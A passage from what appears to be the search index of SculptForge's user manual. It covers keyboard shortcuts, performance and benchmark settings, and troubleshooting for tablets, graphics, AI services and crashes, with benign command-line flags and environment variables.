1, Numpad 3, Numpad 7; with Ctrl: back, left, bottom Orthographic on or off Numpad 5 (the axis views turn it on until you rotate again) Orbit in 15 degree steps, the other side Numpad 4 Numpad 6 Numpad 8 Numpad 2, Numpad 9 Frame the active Part / everything Numpad . / Home Brush radius / strength F / Shift+F (drag, or type a number) Draw, Smooth, Pinch, Inflate, Grab (Move) V, S, P, I, G Clay Strips (Clay Block), Crease, Tendril, Scrape (Flatten) C, Shift+C, K, Shift+T Mask brush M, then drag to mask and Ctrl+drag to unmask; M again goes back to your brush Clear / invert the mask Alt+M / Ctrl+I Hide the face group under the cursor H; Shift+H shows only it (again: everything); Alt+H shows everything Lower / higher subdivision level Alt+1 / Alt+2 (Shift+D / D still work) Swap colours / sample colour X / Shift+X Smooth stroke (Lazy Stroke) Shift+S (or L) Wireframe Shift+Z Choosing the Blender style also sets Rotation to Turntable, as Blender orbits; change it back under Edit > Preferences > Input if you like. Blender's face sets are SculptForge's face groups, and its brushes map to the nearest SculptForge brush. Symmetry X, Paint and the material picker have no key in the Blender style (they are on the shelves); give them one with Ctrl+Alt+click. Laptops without a numpad: turn on Edit > Preferences > Input > Emulate Numpad and the number row works as the numpad. The numpad views (Numpad 1, 3, 7, 5 ...) work in every style."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"your-own-blender-keymap","h":"Your own Blender keymap","t":"If you changed Blender's keys, export them in Blender (Edit > Preferences > Keymap, the Export... button next to the keymap name) and in SculptForge choose Import Blender keymap... under Edit > Preferences > Input or at the top of the Controls window. SculptForge switches to the Blender style and takes, from the file's 3D View and Sculpt keymaps, the keys of every action it has an equivalent for: the views, the brushes above, the radius and strength, the mask, hiding, subdivision levels, undo and redo. Mouse buttons and keys for things SculptForge doesn't have are left alone; the status bar says how many keys it took. The file is read as text and never run. Ctrl+Shift+I (Store Config) keeps the keys; Restore Standard UI goes back to the defaults."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"classic-sculpting-keys-that-work-differently","h":"Classic sculpting keys that work differently","t":"Most classic sculpting keys and gestures work in SculptForge with the Classic sculpting keys. The few that differ even then, because the feature works differently or doesn't exist yet: Classic key SculptForge P (perspective) P is the Paint brush; Numpad 5 switches to an orthographic view T (Edit mode) Always in Edit mode: there is no 2.5D canvas W / E / R (Transpose line) The Gizmo (see Gizmo) 1, 2, 3 (replay and record strokes) Not yet N (list the Parts) Tool > Parts in the right tray F1 to F6 (pop-ups) F1 is the Controls window, F3 the command palette; B, M and the left-shelf tiles pop up brushes, strokes, alphas and materials Ctrl+E (edge loop), Ctrl+U (reload script) Export GLB and Send to Unreal H (hide the script window) ` toggles the console See Quick tour for experienced sculptors for the whole list."},{"p":"shortcuts.html","c":"Keyboard and mouse","a":"see-also","h":"See also","t":"The interface Navigating the view Masking Face Groups and visibility"},{"p":"performance.html","c":"Performance and big meshes","a":"","h":"Performance and big meshes","t":"SculptForge is built to sculpt tens of millions of polygons. Brushes, normal updates and the picking structure run on every core of your processor, a stroke sends the graphics card only the part of the mesh it changed, and undo stores only the vertices a stroke touched, so it stays quick however big the model is. This chapter explains what to expect, the settings in Edit > Preferences > Performance, and how to get the most out of a big sculpt. Edit > Preferences > Performance after a stroke: antialiasing, Fast Navigation, multithreading, what the stroke cost per dab, and memory"},{"p":"performance.html","c":"Performance and big meshes","a":"what-to-expect","h":"What to expect","t":"On a 2021 laptop (Apple M1 Pro, 10 cores, integrated GPU), with X symmetry on and a medium Draw Size: Mesh One dab of a medium brush Turning the view 4 million triangles about 2 ms about 350 frames a second 16 million triangles about 4.5 ms about 170 frames a second 33 million triangles about 7.5 ms about 110 (4x antialiasing), 270 with Fast Navigation Turning the view stays smooth at 100 million triangles: about 50 frames a second with 4x antialiasing, 100 with Fast Navigation. These figures are for closed models (no holes); see \"Closed meshes draw faster\" below. A dab is one step of the brush along the stroke; the app draws several per frame when you move fast. Under 16 ms per dab a stroke keeps up with a 60 Hz display. Very large brushes cost more, since they move more vertices: a brush covering a tenth of a 33 million triangle sphere (about a million vertices per dab with symmetry) takes about 45 ms per dab with Standard, 21 ms with Smooth and 15 ms with Move, of which sending the change to the graphics card is about a third. Performance figures has the full measurements, and how to run the same benchmark on your own machine."},{"p":"performance.html","c":"Performance and big meshes","a":"edit--preferences--performance","h":"Edit > Preferences > Performance","t":"Open Preferences and click Performance. Control What it does Antialiasing (Off, 2x, 4x, 8x) How many samples per pixel the 3D view uses to smooth edges. 4x is the default. More samples look smoother and cost more on huge meshes. If the graphics card can't make room for them, the view quietly uses fewer and the panel says so View resolution (100%, 75%, 50%) Draws the 3D view at a share of the window's resolution and scales it up: 75% draws about half the pixels and 50% a quarter. Try it on slow or integrated graphics and big screens. Save Render always renders at full resolution. Also in View Fast Navigation While you rotate, pan or zoom a scene bigger than the hardware profile's motion proxy threshold (see below), draw it without antialiasing and draw big meshes as a lighter version with about a fifth of their triangles, so the view keeps up. The full mesh, smooth again, is back as soon as the view stops. On by default Predictive Strokes The brush is worked out on its own thread while the view keeps drawing at full speed. The dabs it hasn't finished show at once as a preview on the surface, and the brush cursor and the stroke's head are drawn where the pen is about to be, so on a heavy mesh the surface moves under the pen straight away and lifting the pen never waits. The finished sculpt is exactly the same as with it off. On by default (painting, masking, dynamic topology, Move, Tendril and the drag strokes work as before) Draft Strokes With Predictive Strokes: while you sculpt, the brush only moves the surface, the moved part is shaded from its facets, and the smooth shading, the cavities and the rest are worked out once when you lift the pen. Lighter on laptops and on battery. Inflate and the plane brushes use the surface's direction from the stroke's start, so the result can differ slightly from a full stroke. Off by default Live Move (experimental) The Move brush's drag is drawn by the graphics card from where the surface started, so it follows the pen at the view's frame rate on any mesh size; the move is applied once, exactly, when you lift the pen. Not with masks, hidden parts, sculpt layers, micro levels, Connected Only or View falloff (Move works as before there). Off by default Background Preview (experimental) On meshes of 2 million vertices or more a big brush is worked out on its own thread; with this on, the dabs still being worked out show as a preview under the pen. The finished sculpt is exactly the same either way. Off by default Fast Upload (experimental) While you sculpt, the changed part of the mesh goes to the graphics card through memory both can see and the card copies it into place, instead of the driver copying it during the frame. The sculpt and the view are exactly the same either way. Needs OpenGL 4.4 buffer storage (otherwise it does nothing). Off by default Multithreading Run brushes, normal and picking updates and project saving on every core (the number of threads is shown beside it). The results are exactly the same with it off; turn it off only to compare speeds or rule it out when something goes wrong Last stroke What your last stroke cost per dab: Brush (finding and moving the vertices), Normals (shading), BVH (the structure that finds the surface under the cursor), and the GPU upload per frame Memory What the scene holds: the meshes, the BVHs, the subdivision levels kept for stepping between them, the undo history (up to 1 GB; the oldest steps are dropped beyond that) and, roughly, the graphics card's buffers"},{"p":"performance.html","c":"Performance and big meshes","a":"the-hardware-profile","h":"The hardware profile","t":"The first time you start SculptForge, a small window says Getting to know this computer for a second or two: it checks how fast your graphics card draws and receives data, how fast a brush runs and how fast the memory is, and picks settings to match. It does this once, and again only when you change the graphics card, update its driver or install a new version. Press Esc or Skip to skip it; the settings then come from the type of graphics card and the memory sizes. Nothing is sent anywhere: the results stay in your settings folder. There are two main profiles and a safe mode: Profile For What changes Laptop / Budget laptops and most desktops: 8-32 GB of memory, a 2-8 GB graphics card, most Apple Silicon Macs a moderate number of triangles drawn while the view moves; brushes shade continuously on mains power Workstation 64 GB of memory or more, and a graphics card with 16 GB or more or an Apple Silicon Max / Ultra (or another chip whose graphics share the memory) that measures as fast more triangles drawn per frame, larger textures and subdivision limits, shading updated with every dab Software (safe mode) no graphics driver, so the drawing happens on the processor (llvmpipe) the lightest settings, no antialiasing On a laptop running on battery, whatever its profile, SculptForge sends less data to the graphics card per frame and aims for 60 frames a second, and the status bar says so; plugged in again, it goes back. At the top of Edit > Preferences > Performance: Control What it does Detected ... the graphics card, its memory and the profile, and why Measured numbers triangles drawn per second, upload speed, the cost of a brush dab, memory speed, the processor and the system Settings how many triangles the view draws per frame, from what size big scenes use their lighter version while moving, memory and upload budgets, texture and subdivision limits, threads, the target frame rate (60, or 120 / 144 on a fast display) Frame Governor while the view moves, watch how long frames take and draw big scenes' lighter version sooner or later to hold the target frame rate. It only changes what you see while moving, never the model. On by default Re-calibrate measure again (your overrides are kept) Manual overrides choose the profile yourself, or set any of the numbers (empty = automatic); Back to automatic clears them. Overrides are saved at once and kept when you re-calibrate From a shell, sculptforge --calibrate measures and prints the result as JSON. Like the other preferences, these last until you quit; Edit > Preferences > Config > Store Config keeps them. Every setting is also in the F3 command palette (type \"antialiasing\", \"fast navigation\" or \"multithreading\")."},{"p":"performance.html","c":"Performance and big meshes","a":"working-with-big-meshes","h":"Working with big meshes","t":"Sculpt at the lowest level that holds the detail. With subdivision levels you can shape the forms a few levels down and only go to the top for fine detail. Each level down is four times lighter. Hide what you're not working on. Hidden Parts aren't drawn and hidden parts of a Part aren't sculpted (Tool > Visibility). A hidden Part costs no drawing time at all. Memory. A divided model takes about 85 bytes per triangle: about 37 for the sculpting mesh, 17 for its BVH and 29 for its subdivision levels. A 33 million triangle sculpt with levels needs about 3.4 GB of memory, a 100 million one about 9 GB (and a little more while dividing). Opening a project needs only a little more than the model itself. A mesh without levels (an import, a remesh) takes about 60 bytes per triangle for the mesh. Project files over 4 GB are saved in the ZIP64 format. How far Divide goes depends on the memory: about 160 million triangles on a computer with 32 GB. The graphics card. A mesh needs about 15 bytes per triangle on the graphics card (vertex paint and a mask add about 3; the wireframe, while it is on, about 4; the lighter version Fast Navigation draws, once you move the view, about 1.5). If a Part doesn't fit, SculptForge doesn't draw it and says so in the status bar instead of failing: hide other Parts or step down a subdivision level. Closed meshes draw faster. Parts of a mesh that face away from you are skipped when the mesh is closed (no holes or hidden parts) and you look at it from outside. A mesh with holes, hidden polygons, or a view from inside it draws everything, which can take about twice as long on huge meshes. Tool > Display > Backface culling (#68, off by default) skips the back faces of any mesh, open or closed, from any view: an open scan seen from behind then draws almost nothing (8M triangles: 3.1 ms down to 0.7 ms a frame), and you see through its openings. Brushes then work only on the faces drawn. Undo keeps only what each stroke changed, so a stroke on a 33 million triangle mesh undoes in a few tens of milliseconds, and the history holds many such strokes within its 1 GB."},{"p":"performance.html","c":"Performance and big meshes","a":"dynamic-topology","h":"Dynamic topology","t":"Dynamic topology only works where the brush is, so its speed depends on how many triangles the brush covers rather than on the size of the mesh: on an M1 Pro a medium dab takes 9 to 13 milliseconds on a one-million-triangle sphere. It gets slower when a big brush (or a low Detail) has to merge many small triangles at once; it then spreads the work over several dabs. Undoing a stroke rebuilds the mesh's connections, which takes about a tenth of a second per million triangles. sculptforge --bench --bench-dyntopo measures it on your machine."},{"p":"performance.html","c":"Performance and big meshes","a":"proof-mode-see-it-for-yourself","h":"Proof mode: see it for yourself","t":"Help > Benchmark (or sculptforge --benchmark standard-15m) shows how responsive sculpting is on your own computer, measured the way it feels rather than the way a developer measures it. Its standard scenes are the ones the benchmarks page lists: a procedural head of 15 million (standard-15m) or 33 million (standard-33m) triangles, the same on every computer, sculpted with a fixed stroke set: Clay at 25, 60 and 120 pixels, Move, Smooth and a 240-pixel brush, then a turn of the view (standard runs both sizes). Each reports frame time (p50, p95, p99), how far the stroke trails the pointer in pixels, the worst stall (the longest the screen froze), and peak memory and graphics memory. Without a scene name (sculptforge --benchmark, or Spheres in the dialog) it runs the older size sweep: for each size, 5, 20 and 33 million triangles (and 100 million when there is enough free memory), it builds a sphere with subdivision levels, then plays a scripted pen stroke into the same code your mouse and pen go through, 240 pointer samples a second: a figure eight with a 60-pixel brush, the same with a 240-pixel brush, then a turn of the view. It replaces the scene, so save your work first; Esc stops it. While it runs, a panel in the corner shows: fps and the frame time: the median (p50), and the 95th and 99th percentile, the slow frames you would notice as a hitch. Stroke trails pointer: how far the stroke on screen is behind the pointer, in milliseconds (from the pointer sample the newest drawn dab belongs to until that frame is handed to the display; the display's own refresh comes on top) and in pixels along the path. The memory SculptForge uses. Vertical sync is off during the run so frame times aren't capped at the display's rate (tick Keep vertical sync on to measure with it). At the end a table sums up each mesh and phase, and two files are written: a video of the run with the panel in it (needs ffmpeg; recording costs a millisecond or two per frame) and a JSON file with the results, your processor, graphics card, memory, operating system and the SculptForge version and commit. In the app they go to the benchmarks folder in SculptForge's settings folder (Open folder in the results); from the command line, to the current folder: sculptforge --benchmark standard-15m --benchmark-out mine.json --benchmark-video mine.mp4 sculptforge --benchmark --benchmark-sizes 5,20,33 --benchmark-out spheres.json --benchmark-no-video skips the video, --benchmark-vsync keeps vertical sync on, --benchmark-seconds 6 sets the length of each stroke, and --size 1920x1080 the window (a tiling window manager may choose another size; the result records the one used). Share a result on the benchmarks page as its format description explains."},{"p":"performance.html","c":"Performance and big meshes","a":"measuring-your-own-machine","h":"Measuring your own machine","t":"sculptforge --bench builds a sphere at 4, 16 and 32 million triangles and measures every brush, undo, stepping subdivision levels, saving and opening a project, and turning the view, then prints a report. sculptforge-cli --bench measures the same without the graphics card. Options: Option What it does --bench-sizes 4,16,32 The sizes, in millions of triangles --bench-dabs 40 Dabs per test stroke --bench-brushes large Only the brushes whose name contains the text (here the large-radius ones) --bench-no-project Skip saving and opening the project (which needs twice the memory) --bench-view Measure only what the view costs: uploading to the graphics card, a few strokes, and turning the view --bench-out report.md Write the report to a file When nothing changes, SculptForge draws nothing: the graphics card and processor rest until you move the mouse, press a key, or something finishes in the background. sculptforge --measure-idle 5 sits idle for five seconds (after a short start) and prints the frames drawn and the processor time used. If the view ever stops updating when it should (a driver that misbehaves), start SculptForge with the environment variable SF_CONTINUOUS_REDRAW=1 to draw every frame as versions before 0.9.5 did, and please report it; SF_REDRAW_LOG=1 logs why each frame was drawn. On a very dense mesh a dab can cost more than a frame. The dabs of a stroke then wait in a queue that SculptForge works through for a few milliseconds each frame, reading the pen or mouse in between, so a fast curve stays a curve; once more than about 50 ms of dabs are waiting, every second waiting dab is left out (a wider spacing), so the brush stays close to the pointer and stops soon after you lift the pen. sculptforge --run \"new_sphere\" --measure-stroke 3,200 draws a fast circle for three seconds with a 200-pixel brush and prints how far the dabs strayed from it and the frame times. SF_STROKE_IMMEDIATE=1 places every dab as soon as the pointer moves (versions before 0.9.6), SF_STROKE_BACKLOG=0 never leaves dabs out, and SF_STROKE_LOG=1 logs the queue each frame (with Predictive Strokes, each batch the brush thread places and what packing it for the graphics card cost). SF_PREDICTIVE_STROKE=0 / 1 and SF_DRAFT_STROKE=0 / 1 override the two preferences, and SF_FRAME_LOG=16 logs every frame slower than 16 ms with where its time went. tools/bench_strokes.sh in the source runs the stroke measurement on 5, 21 and 33 million triangle spheres and prints the frame times (mean, 95th and 99th percentile), how far the surface and the preview trail the pointer, press and release, for one build or two side by side. The perf_info command (also in the Console) prints the threads in use and the memory the scene holds; set_multithreading enabled=false turns multithreading off from a script."},{"p":"performance.html","c":"Performance and big meshes","a":"see-also","h":"See also","t":"Subdivision levels Troubleshooting and FAQ Glossary"},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"","h":"Troubleshooting: tablets, display, crashes and FAQ","t":"This chapter collects fixes for common problems: start-up and graphics errors, tablets, AI service messages, ComfyUI errors, the camera notch, first-launch warnings on macOS and Windows, where SculptForge keeps its settings, how to reset the interface, and how to report a bug. Quick answers: Problem Fix No pen pressure on Windows Switch Windows Ink in the tablet driver and bring the pen back (Pen tablets) The cursor jumps when the pen touches down Edit > Preferences > Tablet > Mouse mode (relative) \"Windows protected your PC\" More info, then Run anyway (First launch warnings) Text and buttons too small or too large Edit > Preferences > Interface > UI scale (details) Menus or shelves look wrong after an update Edit > Preferences > Config > Restore Standard UI (Reset the interface) Sculpting feels slow The viewport is slow Lost work after a crash Recovering work after a crash Want the Classic layout back Edit > Preferences > Interface > Look > Layout > Classic"},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"sculptforge-doesnt-start","h":"SculptForge doesn't start","t":"SculptForge draws with OpenGL 3.3 (core profile). Almost every GPU from the last decade supports it, but an old driver, a remote desktop session or a virtual machine without 3D acceleration may not. Update your graphics driver from the GPU maker (NVIDIA, AMD, Intel) or your Linux distribution. Virtual machines: turn on 3D acceleration in the VM settings. Remote desktop: some remote sessions only offer an older OpenGL. Run SculptForge locally, or use a remote tool that forwards the GPU. Linux: on a machine without a working GPU driver, Mesa's software renderer works (slowly): LIBGL_ALWAYS_SOFTWARE=1 sculptforge. To see why it stopped, start it from a terminal and read the messages. It prints the OpenGL version and GPU it found at start-up (for example OpenGL 4.6 (Core Profile) Mesa 26.1.8 on ...), or the error, such as OpenGL 3.3 context creation failed or Missing OpenGL function: .... Linux: run sculptforge in a terminal. macOS: run /Applications/SculptForge.app/Contents/MacOS/SculptForge in Terminal. Windows: the release build has no console window; if it closes straight away, update the driver first, then read the log file, which holds the same messages."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"first-launch-warnings-on-macos-and-windows","h":"First launch warnings on macOS and Windows","t":"The release builds aren't code-signed yet, so the operating system warns the first time. macOS (Gatekeeper): \"SculptForge can't be opened because it is from an unidentified developer\". In Finder, right-click (or Ctrl+click) SculptForge in Applications and choose Open, then Open again. macOS remembers the choice. On recent macOS versions you may instead need System Settings Privacy & Security > Open Anyway. Windows (SmartScreen): \"Windows protected your PC\". Click More info, then Run anyway. Download SculptForge only from the official releases page on GitHub (the website that Help > Website & documentation opens links to it)."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"the-viewport-is-slow","h":"The viewport is slow","t":"Check the triangle count in the bar along the top of the window (Tris). Millions of triangles on a laptop GPU are heavy; Tool > Geometry > Decimate or a lower Voxel Remesh resolution brings it down. See Subdivide, Remesh, Decimate and LODs. Turn off Wireframe (Shift+F) on dense meshes. Hide Parts you aren't working on, or Solo the active one. A large Gaussian splat capture costs GPU time too: lower the count with Clean floaters, or untick Show in Render > Gaussian Splats while you sculpt. On laptops with two GPUs, make sure SculptForge runs on the dedicated one (in the GPU maker's control panel or the operating system's graphics settings). Edit > Preferences > Performance: lower Antialiasing (or turn it off), try View resolution 75% or 50%, keep Fast Navigation on, and look at Last stroke to see whether brushes or the graphics card take the time. Step down a subdivision level for big changes. See Performance and big meshes. A Part missing from the view with \"Not enough GPU memory\" in the status bar didn't fit on the graphics card: hide other Parts or step down a level."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"pen-tablets","h":"Pen tablets","t":"SculptForge reads pen pressure through the operating system's standard pen input, so most Wacom, XP-Pen, Huion and similar tablets, and pen displays, work without settings. Open Sculpt > Draw & Tablet. Under Tablet it shows \"Pen pressure: 0.42\" once the pen has come near the tablet, or \"No pen detected\". Pressure > strength (on by default) and Pressure > size choose what pressure controls. They are also on the top shelf. A custom brush can also set its own pressure response (pressureCurve in its recipe, see Brush Lab and sharing brushes). Edit > Preferences > Input and Edit > Preferences > Tablet show \"Pressure: on\" once the pen has pressed, or \"Pressure: not detected\". Without pressure the pen still draws, at full strength. A tablet plugged in while SculptForge runs works straight away; the status bar says \"Tablet connected\" (also through Wacom Bridge). If no pen is detected or pressure doesn't change: Install or update the tablet maker's driver. Windows: SculptForge reads pressure through Windows Ink, and through the driver's Wintab when Windows Ink is off (Wacom Tablet Properties > Mapping > Use Windows Ink). If pressure is still missing, switch that option and bring the pen back to the tablet. See Pen tablets on Windows. Linux: check that the system sees the pen as a tablet (for example in your desktop's tablet settings). If the cursor moves but strokes have no pressure, test in another application to see whether the driver reports pressure at all. The active Part changed by itself: a Part becomes active with Alt+click on it (the keyboard's Alt, a quick click), a triple-click with the mouse or a click in the Parts list; the status bar names it and how. A tablet's ExpressKey set to Alt counts as the keyboard's Alt. The cursor jumps back when you put the pen down elsewhere: the tablet driver is set to mouse (relative) mode. Turn on Edit > Preferences > Tablet > Mouse mode (relative). It also makes the pen relative with the driver in pen mode; the arrow is drawn at the brush while the pen is in range. The pen picks a brush, then stops clicking menus or the canvas until you use the mouse (Huion, display tablets, Wacom; 0.10.8 and earlier): update to 0.10.9 or later. If it still happens, tell us the tablet, its driver version and whether Windows Ink is on. With two screens, the app slows down when the pointer is on the other screen: fixed in 0.10.9; SculptForge now rests only when its window loses focus."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"hugging-face-free-image-and-text-to-3d","h":"Hugging Face (free image and text to 3D)","t":"Message What to do Hugging Face's free GPU time is used up for now The anonymous daily allowance ran out. Add a free token (huggingface.co/settings/tokens, read access) in HF token in the Generate 3D window, or set HF_TOKEN; or wait for it to refill (about a day); or pick another model The Hugging Face Space is asleep or restarting The model's demo is starting up. Try again in a minute, or pick another model Waiting in the queue for a long time The demos are shared. Try a faster model (Hunyuan3D 2 mini Turbo, Stable Fast 3D) or another time of day TRELLIS.2 fails without a token TRELLIS.2 needs a Hugging Face token"},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"falai-and-meshy","h":"fal.ai and Meshy","t":"Message What to do The API key was rejected Check the key in the Generate 3D window, or the FAL_KEY / MESHY_API_KEY variable Out of credits on this account Top up your account with that service Model or endpoint not found Check the fal model id Rate limited Wait a moment and try again"},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"brush-lab","h":"Brush Lab","t":"The default Free provider uses a hosted open model with no account. If it is unreachable and Ollama runs on your computer, SculptForge uses your local model instead. \"Rate limited by the provider\" means too many requests in a short time: wait a few seconds. For setup of local models, see Brush Lab and sharing brushes."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"no-connection-at-all","h":"No connection at all","t":"AI features need internet access (except a local Ollama, LM Studio or ComfyUI). Behind a company proxy or firewall, ask IT to allow the service you use: huggingface.co (and *.hf.space), fal.ai, meshy.ai, or the Pollinations.ai text endpoint for the free Brush Lab model."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"comfyui-errors","h":"ComfyUI errors","t":"Message What to do Nothing is answering at http://... ComfyUI isn't running at that address, or a firewall blocks it. Check the address and port (8188 by default). For another computer, start ComfyUI with --listen ...answered, but not like ComfyUI Something else uses that port, or a proxy is in the way. Use the address ComfyUI prints when it starts This workflow was saved in ComfyUI's editor format Export it again in ComfyUI with Workflow > Export (API) This ComfyUI does not have the node ... or ...is missing the nodes ... Install the custom nodes the workflow uses (ComfyUI Manager > Install Missing Custom Nodes) and restart ComfyUI ...names a model file this server doesn't have Download the model into the right subfolder of ComfyUI's models folder, for example models/checkpoints ComfyUI rejected the workflow: node N ... An input is out of range. Open the workflow in ComfyUI: it shows the same error on that node The workflow finished but saved no mesh file End the workflow with Save GLB or another node that saves a mesh ...the GPU ran out of memory The GPU ran out of memory. Lower the resolution or octree size, or use a smaller model The job disappeared from ComfyUI's queue Someone cleared the queue or ComfyUI restarted. Generate again The workflow has no Load Image node You chose a text workflow on the From image tab. Use it from From text See Image and text to 3D for setup."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"the-top-of-the-window-is-hidden-behind-the-camera-notch","h":"The top of the window is hidden behind the camera notch","t":"On MacBooks with a camera notch, SculptForge keeps the interface below the notch when it fills the screen. If the title strip or palette bar is still covered, or a plain band appears where you don't want one, change Edit > Preferences > Interface > Camera notch: Automatic (asks the system on macOS, recognises notched MacBook displays on Linux), Always reserve, or Off. F11 switches between fullscreen and a window."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"text-and-buttons-are-too-small-or-too-large","h":"Text and buttons are too small or too large","t":"Edit > Preferences > Interface > UI scale sets the size (Automatic, 100% to 200%) and applies it at once. Press Store Config (Ctrl+Shift+I) to keep it for the next start. Automatic uses the scale of the monitor the window is on: on Windows that is Settings > Display > Scale, per monitor, and the interface follows when you drag the window to another monitor. On Linux under X11 it comes from the desktop's font DPI (Xft.dpi); if Automatic looks wrong there, pick a size."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"my-layout-or-shortcuts-are-gone-after-a-restart","h":"My layout or shortcuts are gone after a restart","t":"SculptForge never saves the layout on its own. Press Store Config (Ctrl+Shift+I) to keep the current layout, shortcuts and interface preferences. See The interface."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"reset-the-interface","h":"Reset the interface","t":"Edit > Preferences > Config > Restore Standard UI returns to the built-in layout and default shortcuts. Press Store Config afterwards to make it stick. Restore Custom UI goes back to what the last Store Config saved. To start completely fresh, quit SculptForge and delete ui.json (layout, shortcuts, interface preferences) and imgui.ini (positions of floating windows such as Brush Lab) from the settings folder below."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"a-key-does-nothing","h":"A key does nothing","t":"Shortcuts don't fire while you type in a text field: click the canvas first. Check the key in Help > Controls (F1), which shows every shortcut as currently assigned; a key you reassigned shows in orange in Edit > Preferences > Hotkeys, where Default shortcuts undoes every change."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"where-settings-live","h":"Where settings live","t":"SculptForge keeps its settings in one folder per user: System Settings folder Linux ~/.local/share/SculptForge/SculptForge/ (or $XDG_DATA_HOME/SculptForge/SculptForge/) macOS ~/Library/Application Support/SculptForge/SculptForge/ Windows %APPDATA%\\SculptForge\\SculptForge\\ (usually C:\\Users\\\\AppData\\Roaming\\SculptForge\\SculptForge\\) File or folder What it holds ui.json Layout, shortcut changes and interface preferences, written by Store Config imgui.ini Positions and sizes of floating windows ai.json AI settings: providers, models, keys, ComfyUI address (readable only by your account) project.json Recent files and the autosave interval autosave.sfproj The autosaved copy of unsaved work (removed once you save) clean_exit Marks a normal exit; without it, the autosave is offered for restore sculptforge.log, sculptforge-previous.log What this session and the last one did, and what crashed (see The log file) console_history.txt The console's command history recent_actions.txt Recently used entries of the command palette brushes/ Your brush library, one .sfbrush file per brush brush-gallery-cache/, brush-gallery.json Community brush gallery cache and its address thumbs/ Cached Library and picker thumbnails (safe to delete) Your library folder (projects, tools, alphas, images, splats and snapshots shown in the Library) is separate: Documents/SculptForge by default, changeable in Edit > Preferences > Library > Library folder. Tip: To move settings to another computer, copy ui.json, ai.json and the brushes folder. For a shared layout, use Edit > Preferences > Config > Save UI... and Load UI... instead."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"the-log-file","h":"The log file","t":"SculptForge writes what it does to sculptforge.log in its settings folder. Choose Help > Open log folder to open it: System Log file Windows %APPDATA%\\SculptForge\\SculptForge\\sculptforge.log macOS ~/Library/Application Support/SculptForge/SculptForge/sculptforge.log Linux ~/.local/share/SculptForge/SculptForge/sculptforge.log It holds the version, your system and GPU (the OpenGL ... on ... line), warnings and errors, and each command you ran. If SculptForge crashes, it ends with lines starting CRASH: that say what crashed and what was done last. Every start keeps the previous session's log as sculptforge-previous.log beside it, so after a crash attach sculptforge-previous.log to your report (the new sculptforge.log is the session after it). It holds no models and no keys, only command names and messages, which may include file names."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"recovering-work-after-a-crash","h":"Recovering work after a crash","t":"SculptForge autosaves unsaved work every 5 minutes by default (Edit > Preferences > Autosave, 0 turns it off). After a crash, the next start asks \"SculptForge did not close normally last time. Restore the autosaved work?\". Restore opens it as unsaved work (save it under a name); Discard deletes it. See Projects, autosave and snapshots. The dialog also points to the crashed session's log file."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"frequently-asked-questions","h":"Frequently asked questions","t":"Can SculptForge open another sculpting app's own project files? Not directly: those formats are proprietary and undocumented. Export OBJ or FBX from that app, or use the Bridge. Does it have subdivision levels, voxel remesh, quad remesh or UVs? Yes: Voxel Remesh, Quad Remesh (with Project All to bring the detail back; see Quad retopology), Auto UV unwraps any model, and Divide adds subdivision levels you can step up and down (see Subdivision levels). Dynamic on the top shelf is dynamic topology, like dynamic topology (see Dynamic topology). Is it really free? Can I sell what I make? Yes and yes. SculptForge is GPL-3.0-or-later free software; the licence covers the program, not your models. The AI models have their own licences (see Image and text to 3D). Does SculptForge send anything about me anywhere? No. There is no telemetry and no account. AI features talk only to the service you choose, when you use them. Does it work offline? Yes. Everything except the hosted AI services works offline, and Brush Lab and image-to-3D can run on local models (Ollama, LM Studio, your own ComfyUI or generator command). Where are my brushes? In the brushes folder in the settings folder above. Brush Lab saves every brush you make or refine there."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"report-a-problem","h":"Report a problem","t":"Choose Help > Report a problem to open the issue tracker on GitHub (you need a free GitHub account). A good report includes: The SculptForge version (Help > About SculptForge) and your operating system. Your GPU and driver: the OpenGL ... on ... line SculptForge prints at start-up (see SculptForge doesn't start), or the GPU name from your system settings. Steps to reproduce: what you did, what you expected and what happened instead. The commands you ran: open the console (the backtick key, left of 1), click Copy session as script and paste it into the report. It often reproduces the problem exactly. After a crash, the log: sculptforge-previous.log from Help > Open log folder (see The log file). A file if the problem is with a particular model (a small .sfproj or the original file), and a screenshot for display problems. For a security problem, don't open a public issue; follow SECURITY.md in the repository instead."},{"p":"troubleshooting.html","c":"Troubleshooting: tablets, display, crashes and FAQ","a":"see-also","h":"See also","t":"Installing SculptForge The interface Glossary"},{"p":"glossary.html","c":"Glossary","a":"","h":"Glossary","t":"This chapter explains the terms SculptForge uses (Parts, Forge Spheres, Vertex Paint, Library...). The command palette (F3) also finds a feature by what it does: type \"remesh\", \"groups\" or \"folders\". See also the Quick tour for experienced sculptors."},{"p":"glossary.html","c":"Glossary","a":"sculptforge-terms","h":"SculptForge terms","t":"Term Meaning Brush Lab The AI brush creator: describe a brush in words and it builds a recipe you can tweak. Opens from AI Brush. See Brush Lab Brush code One line of text (sfbrush1:...) that holds a whole brush, for sharing in chat or a forum. Paste with Ctrl+V Brush library Your saved custom brushes, 